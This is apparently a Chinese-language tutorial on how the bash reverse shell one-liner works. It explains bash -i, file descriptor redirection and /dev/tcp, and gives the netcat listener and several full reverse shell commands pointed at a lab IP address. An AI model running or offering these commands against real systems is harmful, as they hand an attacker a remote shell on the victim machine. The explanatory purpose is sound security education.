bash反弹shell原理和思考
前言
Linux下,一条bash命令就可以反弹出shell。之前不求甚解的复现,突然有了一个疑问,为什么这样就能实现shell反弹?又重新学习了一下bash,这是一篇关于bash反弹原理的介绍。
反弹shell命令如下
受害者:
bash -i >& /dev/tcp/ip/port 0>&1
攻击者
nc -lvp port
反弹 shell 的本质
接下来依次解释一下上面两条命令的意思。
1.bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2)-i (interact)这个参数表示的是产生交互式的shell
2.>&
对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:
0是 stdin 代表着标准输入,使用<或者<<
1是 stdout 代表着标准输出,使用>或者>>
2是 stderr 代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。
在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。
3./dev/tcp/ip/port
对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,其作用是让本机与目标主机通过指定端口建立tcp连接。
4.0>&1
最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。
5.命令合成
bash -i >/dev/tcp/192.168.80.131/3333
bash -i < /dev/tcp/192.168.27.131/3333
bash -i > /dev/tcp/192.168.80.131/3333 0>&1
而此时攻击者的命令还会在受害者电脑上输出,我们可以用混合输出(错误、正确输出都输出到一个地方)解决一下这个问题:
bash -i > /dev/tcp/192.168.80.131/3333 0>&1 2>&1
当然我们也可以执行与之完全等价的指令
bash -i >& /dev/tcp/192.168.80.131/3333 0>&1
bash -i >& /dev/tcp/192.168.80.131/3333 0<&1
这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。
END
至此,反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句。